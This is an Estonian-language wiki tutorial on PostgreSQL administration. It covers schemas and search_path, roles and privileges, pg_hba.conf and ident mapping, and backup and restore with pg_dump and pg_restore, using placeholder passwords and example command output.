Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 REVOKE select ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabelile saab ligipääse anda ka tulba täpsusega, nt&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT(nimi) ON priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
kusjuures siis on võimalik küsida selectiga ainult vastava tulba andmeid.&lt;br /&gt;
&lt;br /&gt;
Kasutaja parooli muutmine&lt;br /&gt;
&lt;br /&gt;
 ALTER USER kasutajanimi WITH PASSWORD 'parool';&lt;br /&gt;
&lt;br /&gt;
Kõigi skeemi tabelitele rolli ligipääsu tekitamine, vastuseks saab hulga sql lauseid, mis tuleb seejärel käivitada, nt (\o /tmp/failinimi.sql salvestab vastuse failisüsteemi, et seda sealt \i /tmp/failinimi.sql abil seejärel kasutada)&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/failinimi.sql&lt;br /&gt;
 SQL&amp;gt; select 'GRANT SELECT, INSERT, UPDATE, DELETE ON ' || schemaname || '.' || tablename || ' TO rollinimi;' \&lt;br /&gt;
   from pg_tables where tableowner='omanikunimi' and schemaname != 'pg_catalog' and schemaname != 'information_schema';&lt;br /&gt;
&lt;br /&gt;
Kusjuures, selleks, et roll saaks skeemi kasutada peab olema skeemile antud nt USAGE privileeg&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; GRANT USAGE ON SCHEMA skeeminimi TO rollinimi;&lt;br /&gt;
&lt;br /&gt;
Tabelile ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'GRANT SELECT ON skeeminimi.' || table_name || ' TO rakendus_ro;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
 --------------------------------------------------------&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vahendaja TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.oigus_antud TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.dokumendi_fail TO rakendus_ro;&lt;br /&gt;
 GRANT SELECT ON skeeminimi.vastuvotja_staatus TO rakendus_ro;&lt;br /&gt;
 ..&lt;br /&gt;
&lt;br /&gt;
Sequentsidele ligipääs&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'grant usage, select, update on rakendus.' || sequence_name || ' to rakendus_rw' FROM information_schema.sequences \&lt;br /&gt;
   where sequence_schema = 'skeeminimi';&lt;br /&gt;
 &lt;br /&gt;
                                  ?column?                                &lt;br /&gt;
 ------------------------------------------------------------------------&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_transport_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_vastuvotja_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_id to rakendus_rw;&lt;br /&gt;
  grant usage, select, update on skeeminimi.sq_ametikoht_taitmine_id to rakendus_rw;&lt;br /&gt;
  ..&lt;br /&gt;
&lt;br /&gt;
Ligipääsu eemaldamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT 'REVOKE SELECT ON skeeminimi.' || table_name || ' FROM rakendus_rw;' FROM information_schema.tables WHERE table_schema = 'skeeminimi' \&lt;br /&gt;
   and table_type = 'BASE TABLE';&lt;br /&gt;
&lt;br /&gt;
====Funktsioon====&lt;br /&gt;
&lt;br /&gt;
 ALTER FUNCTION vklog.log_dokument(vk.dokument, vk.dokument, character varying) OWNER TO vk_admin;&lt;br /&gt;
&lt;br /&gt;
====Trigger funktsioon====&lt;br /&gt;
&lt;br /&gt;
 GRANT EXECUTE ON FUNCTION dkk.tr_allkiri_log() TO dkk_rw;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine pg_hba.conf seadistusfaili abil===&lt;br /&gt;
&lt;br /&gt;
Seadistusfail /etc/postgresql/8.4/main/pg_hba.conf kontrollib ligipääsu sellise komplekti andmete alusel&lt;br /&gt;
&lt;br /&gt;
* ühenduse tüüp - üle tcp või unix soketi (st kas üle võrgu või unix soket abil)&lt;br /&gt;
* baasi nimi&lt;br /&gt;
* kasutaja nimi&lt;br /&gt;
* ip aadress (tcp ühenduse puhul)&lt;br /&gt;
* autentimise meetod - parooliga, kasutaja sertifikaadiga; unix soketi puhul ident&lt;br /&gt;
&lt;br /&gt;
====ident====&lt;br /&gt;
&lt;br /&gt;
Nn unixi postgre kasutaja saab ligi kõigile baasidele üle unixi soketi (/var/run/postgresql/.s.PGSQL.5432)&lt;br /&gt;
&lt;br /&gt;
 local   all         postgres                          ident&lt;br /&gt;
&lt;br /&gt;
ja kasutamiseks tuleb öelda nt&lt;br /&gt;
&lt;br /&gt;
 # su - postgres&lt;br /&gt;
 $ psql -U postgres&lt;br /&gt;
&lt;br /&gt;
====map====&lt;br /&gt;
&lt;br /&gt;
mappinguid juhitakse failiga pg_ident.conf http://www.postgresql.org/docs/8.4/static/auth-username-maps.html&lt;br /&gt;
&lt;br /&gt;
 # cat pg_ident.conf&lt;br /&gt;
 ..&lt;br /&gt;
 # MAPNAME     SYSTEM-USERNAME    PG-USERNAME&lt;br /&gt;
 mapping_yks   www-data        pg_kasutaja_1&lt;br /&gt;
 mapping_kaks   www-data       pg_kasutaja_2&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* MAPNAME - teisenduse nimi, mida pg_hba.conf failis kasutatakse&lt;br /&gt;
* SYSTEM-USERNAME - ident nimi (kohalikust arvutist tehtud pöördumiste puhul praktiliselt andmebaasi poole pöörduva protsessi UID)&lt;br /&gt;
* PG-USERNAME - andmebaasi kasutaja nimi, millena on vastaval SYSTEM-USERNAME'il lubatud andmebaasi kasutada&lt;br /&gt;
&lt;br /&gt;
ja (kusjuures nagu ikka, oluline on kus ridade järjekorra mõttes antud rida paikneb nt tema ees ei tohi olla 'local all all reject')&lt;br /&gt;
&lt;br /&gt;
 # pg_hba.conf&lt;br /&gt;
 local   all  all      ident map=mapping_yks&lt;br /&gt;
&lt;br /&gt;
siis töötab nt selline kasutus&lt;br /&gt;
&lt;br /&gt;
 # su - www-data&lt;br /&gt;
 $ psql -U pg_kasutaja_1 baasinimi&lt;br /&gt;
 ..&lt;br /&gt;
 baasinimi =&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili moodustamine===&lt;br /&gt;
&lt;br /&gt;
pg_dump programmi abil saab teha PostgreSQL andmebaasi (mitte kogu andmeklustrist, st kõigist andmebaasidest ühekorraga) andmetest erinevatel tasemetel koopiaid - andmebaasist, skeemist, tabelist, ja määrata seejuures täpsustusi, nt kas kopeeritakse ainult struktuur või struktuur koos andmetega. pg_dump kasutamise tulemusena moodustatakse arhiivifail.&lt;br /&gt;
&lt;br /&gt;
Programmi kasumisel saab valida kolme formaadi vahel, milles väljund tekitatakse&lt;br /&gt;
&lt;br /&gt;
* tekst (ingl. k. plain) - tekstikujul SQL skript, vaikeformaat&lt;br /&gt;
* kostümiseeritud arhiiv (ingl. k. custom) - binaarne ahriiv, vaikimisi pakitud, võimaldab kõige paindlikumalt pärast arhiivifailis olevaid andmeid kasutada&lt;br /&gt;
* tar - TODO&lt;br /&gt;
&lt;br /&gt;
pg_dump moodustab tänu MVCC tehnika kasutamisele andmetest kooskõlalise väljundi, nii nagu andmete seis oli pg_dump käivitamisel. Kuig pg_dump kasutamise ajal on nö tavapärane andmebaasi kasutamine võimalik, kasutab ta lukke selliselt, et nt samal ajal ei saab tabelite struktuuri muuta.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti moodustamine====&lt;br /&gt;
&lt;br /&gt;
SQL skripti kujul esineva arhiivifaili moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -U postgres -h localhost baasinimi -f baasinimi-20090802.sql &lt;br /&gt;
    1&amp;gt; baasinimi-20090802-1.log 2&amp;gt; baasinimi-20090802-2.log&lt;br /&gt;
&lt;br /&gt;
Skripti tekitamisel saab määrata nt, kas skripti lisatakse käsud andmebaasi, skeemi või tabeli moodustamise kohta või mitte.&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili moodustamine====&lt;br /&gt;
&lt;br /&gt;
Nt andbaasi portaal skeemi data tabelist documents kostümiseeritud arhiivi moodustamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  $ export PGPASSWORD=parool&lt;br /&gt;
  $ pg_dump -Fc -h localhost -U postgres -t data.documents -f portaal.data.documents.fcdump portaal&lt;br /&gt;
&lt;br /&gt;
===SQL arhiivifaili kasutamine===&lt;br /&gt;
&lt;br /&gt;
Andmete taastamiseks on kaks programmi&lt;br /&gt;
&lt;br /&gt;
* psql - SQL skript antakse programmi sisendisse, psql täidab järjekorras seal esitatud laused kuni esimese veani või skripti lõpuni&lt;br /&gt;
* pg_restore - programmi argumendina näidatakse kostümiseeritud SQL arhiivifail, väljundisse kirjutatakse lausete täitmisel esinevad vead, kuid töötatakse kuni arhiivifaili lõpuni&lt;br /&gt;
&lt;br /&gt;
pg_restore võimaldab&lt;br /&gt;
&lt;br /&gt;
* taastada arhiivist andmeid objekti, nt tableli täpsusega&lt;br /&gt;
* valida, millised järjekorras andmed arhiivist taastatakse&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasis on kasutatud contrib mooduleid, mille esmakordsel paigaldamisel tuli tõenäoliselt käivitavad vastav mooduli paigaldusskript (mis tekitas baasi funktsioone jms), siis taastel ei ole reeglina seda vaja kasutada, sest vastavad funktsioonid on baasis olemas ja taaste käigus nad tekitatakse.&lt;br /&gt;
&lt;br /&gt;
====SQL skripti kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb psql utiliidiga laadida skript andmebaasi, nt&lt;br /&gt;
&lt;br /&gt;
 $ psql -U postgres -h localhost baasinimi &amp;lt; baasinimi-20090802.sql&lt;br /&gt;
&lt;br /&gt;
Tekstikujul esituse puuduseks on suhteliselt mahtukas tulemus ja aeganõudev protseduuri kestus. Eeliseks võib pidada asjaolu, et andmed on inimesele hõlpsasti loetaval ja muudetaval kujul.&lt;br /&gt;
&lt;br /&gt;
Kui esitada alltoodud käsk kujul, toimub skripti täitmine ühe transaktsioonina, mis praktiliselt tähendab seda, et kui skripti täitmine tehnilises mõttes ebaõnnestub, töötab andmebaas edasi muudatusele eelnenud kujul&lt;br /&gt;
&lt;br /&gt;
 $ psql -1 -U postgres -h localhost -f baasinimi-20090802.sql baasinimi&lt;br /&gt;
&lt;br /&gt;
====Kostümiseeritud arhiivifaili kasutamine====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks kostümiseeritud arhiivifailist otse andmebaasi sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -d portaal -h localhost -U postgres portaal.data.documents.fcdump&lt;br /&gt;
&lt;br /&gt;
Arhiivifailis sisalduvate objektide nimekirja esitamiseks tuleb kasutada -l võtit&lt;br /&gt;
&lt;br /&gt;
  $ pg_restore -l /data/backup/dumps/portaal.data.dokuments.fcdump&lt;br /&gt;
  ;&lt;br /&gt;
  ; Archive created at Thu Sep 10 14:54:27 2009&lt;br /&gt;
  ;     dbname: portaal&lt;br /&gt;
  ;     TOC Entries: 11&lt;br /&gt;
  ;     Compression: -1&lt;br /&gt;
  ;     Dump Version: 1.10-0&lt;br /&gt;
  ;     Format: CUSTOM&lt;br /&gt;
  ;     Integer: 4 bytes&lt;br /&gt;
  ;     Offset: 8 bytes&lt;br /&gt;
  ;     Dumped from database version: 8.3.5&lt;br /&gt;
  ;     Dumped by pg_dump version: 8.3.5&lt;br /&gt;
  ;&lt;br /&gt;
  ;&lt;br /&gt;
  ; Selected TOC Entries:&lt;br /&gt;
  ;&lt;br /&gt;
  8462; 1259 40169 TABLE data documents sysadm&lt;br /&gt;
  9384; 0 0 ACL data documents sysadm&lt;br /&gt;
  8463; 1259 40175 SEQUENCE data documents_doc_id_seq sysadm&lt;br /&gt;
  9385; 0 0 SEQUENCE OWNED BY data documents_doc_id_seq sysadm&lt;br /&gt;
  9386; 0 0 SEQUENCE SET data documents_doc_id_seq sysadm&lt;br /&gt;
  9378; 2604 42053 DEFAULT data doc_id sysadm&lt;br /&gt;
  9381; 0 40169 TABLE DATA data documents sysadm&lt;br /&gt;
  9379; 1259 48086585 INDEX data documents_doc_id sysadm&lt;br /&gt;
  9380; 2620 48087091 TRIGGER data timestamp sysadm&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* TOC (Table of Contents) - sisukord&lt;br /&gt;
* rea alguses on objekti id väärtus&lt;br /&gt;
* kõik semikoolonist paremale jääv on kommentaar&lt;br /&gt;
&lt;br /&gt;
Nõuanded pg_restore kasutamiseks&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili sisu teisendamiseks SQL skripti kujule tuleb jätta ära -d võti&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.sql&lt;br /&gt;
&lt;br /&gt;
* Arhiivifaili ühte tabeli kirjelduse esitamiseks tuleb näidata skeemi ning tabeli nimi ja võti -s&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -s -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist ühe tabeli taastamiseks otse andmebaasi&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -d baasinimi -n priiduskeem -t inimene arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Arhiivifailist nimekirja alusel objektide taastamiseks tuleb esmalt -l väljundi alusel moodustada sobiva sisuga tekstifail ja seda redigeerida ning siis seda kasutada, seejuures võib ka objektide järjekorda muuta&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -l arhiivifail-20100506.fcdump &amp;gt; arhiivifail-20100506.fcdump.list&lt;br /&gt;
 $ pg_restore -d baasinimi -h localhost -U postgres -L arhiivifail-20100506.fcdump.list arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
* Mitme protsessoriga arvutil saab -j võtme abil näidata milliselt määral kasutatakse paralleelset tööd andmete sisselugemisel, nt&lt;br /&gt;
&lt;br /&gt;
 $ pg_restore -j 16 -d baasinimi arhiivifail-20100506.fcdump&lt;br /&gt;
&lt;br /&gt;
====Globals====&lt;br /&gt;
&lt;br /&gt;
Globalsiks nimetatakse neid andmebaasi andmeid, mis ei sisaldu otseselt üheski baasis, vaid kuuluvad andmebaasi kui terviku juurde, nt rollid. Nende salvestamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -g -h localhost -U postgres &amp;gt; globals.sql&lt;br /&gt;
&lt;br /&gt;
Moodustatud skripti sobib kasutada nagu nö tavalist sql skripti. Ainult rollide andmete kopeerimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ pg_dumpall -r -h localhost -U postgres &amp;gt; roles.sql&lt;br /&gt;
&lt;br /&gt;
===SQL dump/restore kasutamine arvestades objektide omanikke===&lt;br /&gt;
&lt;br /&gt;
Lähtepunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* on olemas üks andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on olemas create database andmebaas (kõik objektid kuuluvad mainitud kasutajale)&lt;br /&gt;
&lt;br /&gt;
Sihtpunkt&lt;br /&gt;
&lt;br /&gt;
* töötab üks PostgreSQL protsesside komplekt&lt;br /&gt;
* lähtepunktiks olnud kasutaja ja baas säilivad algsel kujul&lt;br /&gt;
* on tekitatud juurde teine andmebaasi tarkvara sisene kasutaja&lt;br /&gt;
* on tekitatud juurde teine create database andmebaas; kõik objektid on seal teise kasutaja omanduses&lt;br /&gt;
* teise andmebaasi sisuks on esimese andmebaasi sisu&lt;br /&gt;
* mõlemad create database andmebaasid on tavalised, üksteisest sõltumatud andmebaasid&lt;br /&gt;
&lt;br /&gt;
Nt leiab selline ülesanne kasutust töötavast lahendusest teha koopia kõrvale mingite testimiste jaoks.&lt;br /&gt;
&lt;br /&gt;
====pg_dump -O ja psql====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. pg_dump kasutamisel sql skript moodustamisel tuleb omanike käsud dump failist välja jätta kohe alguses&lt;br /&gt;
&lt;br /&gt;
 pg_dump -O ...&lt;br /&gt;
&lt;br /&gt;
sisselaadimiseks&lt;br /&gt;
&lt;br /&gt;
 TODO&lt;br /&gt;
&lt;br /&gt;
====pg_dump -Fc ja pg_restore====&lt;br /&gt;
&lt;br /&gt;
Protseduuri eeliseks on, et andmete sisselaadimine uude andmebaasi tõimub privilegeerimata kasutajana. Moodustada -Fc dump&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.4/bin/pg_dump -Fc -f baasinimi-20180922-94.dump baasinimi&lt;br /&gt;
&lt;br /&gt;
uue kasutaja moodustamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# create role kasutajanimi login password 'fakeparool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
uue baasi moodustamine (template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8' on näiteks)&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database baasinimi owner = kasutajanimi template = template0 LC_COLLATE = 'C.UTF-8' LC_CTYPE = 'C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
Sisselaadimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ /usr/lib/postgresql/9.4/bin/pg_restore -d baasinimi -O -h 127.0.0.1 -U kasutajanimi baasinimi-20180922-94.dump&lt;br /&gt;
Password:&lt;br /&gt;
pg_restore: [archiver (db)] Error while PROCESSING TOC:&lt;br /&gt;
pg_restore: [archiver (db)] Error from TOC entry 8746; 0 0 COMMENT EXTENSION plpgsql&lt;br /&gt;
pg_restore: [archiver (db)] could not execute query: ERROR:  must be owner of extension plpgsql&lt;br /&gt;
    Command was: COMMENT ON EXTENSION plpgsql IS 'PL/pgSQL procedural language';&lt;br /&gt;
 &lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges could be revoked for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
pg_restore: WARNING:  no privileges were granted for &amp;quot;public&amp;quot;&lt;br /&gt;
WARNING: errors ignored on restore: 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* -O kasutada ilma owner käskudeta&lt;br /&gt;
* - tõneäoliselt saab mõned praktiliselt ebaolulised vead/hoiatused&lt;br /&gt;
&lt;br /&gt;
====reassing====&lt;br /&gt;
&lt;br /&gt;
